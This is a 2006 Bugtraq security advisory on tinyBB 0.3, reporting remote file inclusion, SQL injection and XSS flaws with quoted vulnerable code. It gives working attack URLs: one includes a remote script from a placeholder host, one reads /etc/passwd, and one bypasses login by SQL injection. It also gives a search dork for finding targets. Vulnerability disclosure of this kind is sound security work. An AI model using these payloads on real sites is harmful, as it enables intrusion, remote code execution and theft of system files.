bugtraq - Advisory: tinyBB <= 0.3 Multiple Remote Vulnerabilities.

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Message-ID: <20060528165723.tlolo883ohku0wcs@webmail.nukedx.com>
Date: Sun, 28 May 2006 16:57:23 +0300
From: Mustafa Can Bjorn IPEKCI <nukedx@...edx.com>
To: submit@...w0rm.com, full-disclosure@...ts.grok.org.uk,
	bugtraq@...urityfocus.com, egg@...cdesigns.lists.grok.org.uk,
	dot@...edx.com, co@...edx.com, "uk."@nukedx.com
Subject: Advisory: tinyBB <= 0.3 Multiple Remote
	Vulnerabilities.


--Security Report--
Advisory: tinyBB <= 0.3 Multiple Remote Vulnerabilities.
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 27/05/06 05:37 AM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx@...edx.com
Web: http://www.nukedx.com
}
---
Vendor: Epicdesigns (http://www.epicdesigns.co.uk/)
Version: 0.3 and prior versions must be affected.
About: Via this methods remote attacker can include arbitrary files to  
tinyBB.tinybb_footers variable in
footers.php did not sanitized before using it.You can find vulnerable  
code in footers.php at line 3
-Source in footers.php-
3: if (strlen($tinybb_footers) > 0) { require_once($tinybb_footers); }
-End of source-
Fixing this vulnerability so easy turn off register_globals.
There is also SQL injection in forgot.php.Parameter $q did not  
sanitized properly before using it on SQL query.
You can find vulnerable codes in forgot.php at lines 3-18.
-Source in forgot.php-
3: if (isset($q)) {
4: $sql="SELECT COUNT(*) FROM tinybb_members WHERE username='$q' OR  
email='$q'";
5: $count = mysql_result(mysql_query($sql),0);
.....
-End of source-
Also this can be caused to XSS.You can find vulnerable code in  
forgot.php at line 19-21
-Source in forgot.php-
19:  else {
20:    echo "<p>The query <b>$q</b> could not be .....
21:  }
-End of source-
There is another SQL injection in login.php.Parameters username and  
password did not sanitized properly before using
it on SQL query.You can find vulnerable codes in login.php at line 2-8
-Source in login.php-
8: $sql="SELECT count(*) FROM tinybb_members WHERE flag='1' AND  
username='$username' AND password='$password'";
-End of source-
I didnt wrote all vulnerabilities on tinyBB there is too many SQL  
injections and XSS vulnerabilities on this tiny
bulletin board.
Level: Highly Critical
---
How&Example:
Succesful exploitation needs allow_url_fopen set to 1 and register_globals on
GET -> http://[victim]/[tBBPath]/footers.php?tinybb_footers=evilscript
EXAMPLE ->  
http://[victim]/[tBBPath]/footers.php?tinybb_footers=http://yourhost.com/cmd.txt?
If magic_quotes_gpc off remote attacker can include local files too
EXAMPLE -> http://[victim]/[tBBPath]/footers.php?tinybb_footers=/etc/passwd%00
SQL injection on login.php
GET ->  
http://[victim]/[tBBPath]/login.php?username=heh/**/or/**/isnull(1/0)/*&password=nothing
---
Timeline:
* 27/05/2006: Vulnerability found.
* 27/05/2006: Contacted with vendor and waiting reply.
---
Exploit: http://www.nukedx.com/?getxpl=33
---
Original advisory can be found at: http://www.nukedx.com/?viewdoc=33
---
Dorks: "Powered by tinyBB"


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